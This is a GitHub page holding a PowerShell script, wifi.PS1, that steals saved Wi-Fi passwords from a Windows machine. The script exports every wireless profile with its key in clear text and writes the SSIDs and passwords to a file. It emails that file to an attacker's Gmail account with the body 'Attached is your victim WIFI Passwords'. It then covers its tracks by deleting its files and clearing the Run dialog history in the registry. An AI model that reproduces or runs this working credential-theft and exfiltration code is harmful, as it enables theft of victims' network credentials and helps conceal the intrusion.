-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathwifi.PS1
56 lines (26 loc) · 1.38 KB
/
wifi.PS1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// --> Export all Windows Wifi profiles (SSID, password) in XML
netsh wlan export profile key=clear
// --> Extract all SSID and Password field to pass.txt
dir *.xml |% {
$xml=[xml] (get-content $_)
$a= "==================SpeedCuber======================`r`n SSID = "+$xml.WLANProfile.SSIDConfig.SSID.name + "`r`n PASS = " +$xml.WLANProfile.MSM.Security.sharedKey.keymaterial
Out-File pass.txt -Append -InputObject $a
}
// --> Mail pass.txt
$SMTPServer = 'smtp.gmail.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
// --> Replace it with your Gmail username and password
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'lamepassword')
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = '[email protected]' // --> Replace it with your Gmail username
$ReportEmail.To.Add('[email protected]') // --> Replace it with your Gmail username
$ReportEmail.Subject = 'WIFI Pass Report of ' + $env:UserName
$ReportEmail.Body = 'Attached is your victim WIFI Passwords'
$ReportEmail.Attachments.Add('pass.txt')
$SMTPInfo.Send($ReportEmail)
// --> Clearing your tracks
rm *.xml -Force
rm wifi.PS1 -Force
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
exit